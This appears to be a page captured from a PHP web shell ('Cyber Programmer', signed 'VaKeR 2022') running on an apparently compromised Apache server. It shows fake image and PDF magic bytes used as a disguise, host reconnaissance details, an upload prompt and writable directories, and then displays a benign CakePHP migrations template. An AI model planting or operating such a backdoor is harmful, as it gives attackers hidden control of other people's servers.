%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakephp/migrations/src/Template/Bake/Element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakephp/migrations/src/Template/Bake/Element/create-tables.ctp
<% foreach ($tables as $table => $schema):
    $tableArgForMethods = $useSchema === true ? $schema : $table;
    $tableArgForArray = $useSchema === true ? $table : $schema;

$foreignKeys = [];
$primaryKeysColumns = $this->Migration->primaryKeysColumnsList($tableArgForMethods);
$primaryKeys = $this->Migration->primaryKeys($tableArgForMethods);
$specialPk = (count($primaryKeys) > 1 || $primaryKeys[0]['name'] !== 'id' || $primaryKeys[0]['info']['columnType'] !== 'integer') && $autoId;
%>
<% if ($specialPk): %>

        $this->table('<%= $tableArgForArray %>', ['id' => false, 'primary_key' => ['<%= implode("', '", \Cake\Utility\Hash::extract($primaryKeys, '{n}.name')) %>']])
<% else: %>

        $this->table('<%= $tableArgForArray %>')
<% endif; %>
<% if ($specialPk || !$autoId):
    foreach ($primaryKeys as $primaryKey) :
%>
            ->addColumn('<%= $primaryKey['name'] %>', '<%= $primaryKey['info']['columnType'] %>', [<%
            $columnOptions = $this->Migration->getColumnOption($primaryKey['info']['options']);
            echo $this->Migration->stringifyList($columnOptions, ['indent' => 4]);
            %>])
<% endforeach; %>
<% if (!$autoId): %>
            ->addPrimaryKey(['<%= implode("', '", \Cake\Utility\Hash::extract($primaryKeys, '{n}.name')) %>'])
<% endif; %>
<% endif;
foreach ($this->Migration->columns($tableArgForMethods) as $column => $config):
%>
            ->addColumn('<%= $column %>', '<%= $config['columnType'] %>', [<%
            $columnOptions = $this->Migration->getColumnOption($config['options']);
            if ($config['columnType'] === 'boolean' && isset($columnOptions['default']) && $this->Migration->value($columnOptions['default']) !== 'null'):
                $columnOptions['default'] = (bool)$columnOptions['default'];
            endif;
            echo $this->Migration->stringifyList($columnOptions, ['indent' => 4]);
            %>])
<% endforeach;
$tableConstraints = $this->Migration->constraints($tableArgForMethods);
if (!empty($tableConstraints)):
    sort($tableConstraints);
    $constraints[$tableArgForArray] = $tableConstraints;

    foreach ($constraints[$tableArgForArray] as $name => $constraint):
        if ($constraint['type'] === 'foreign'):
            $foreignKeys[] = $constraint['columns'];
        endif;
        if ($constraint['columns'] !== $primaryKeysColumns): %>
            ->addIndex(
                [<% echo $this->Migration->stringifyList($constraint['columns'], ['indent' => 5]); %>]<% echo ($constraint['type'] === 'unique') ? ',' : ''; %>

<% if ($constraint['type'] === 'unique'): %>
                ['unique' => true]
<% endif; %>
            )
<% endif;
    endforeach;
endif;
foreach($this->Migration->indexes($tableArgForMethods) as $index):
    sort($foreignKeys);
    $indexColumns = $index['columns'];
    sort($indexColumns);
    if (!in_array($indexColumns, $foreignKeys)):
        %>
            ->addIndex(
                [<%
                    echo $this->Migration->stringifyList($index['columns'], ['indent' => 5]);
                %>]<% echo ($index['type'] === 'fulltext') ? ',' : ''; %>

                <%- if ($index['type'] === 'fulltext'): %>
                ['type' => 'fulltext']
                <%- endif; %>
            )
<% endif;
endforeach; %>
            ->create();
<% endforeach; %>
<% if (!empty($constraints)): %>
<% echo $this->element('Migrations.add-foreign-keys-from-create', ['constraints' => $constraints]); %>
<% endif; %>

VaKeR 2022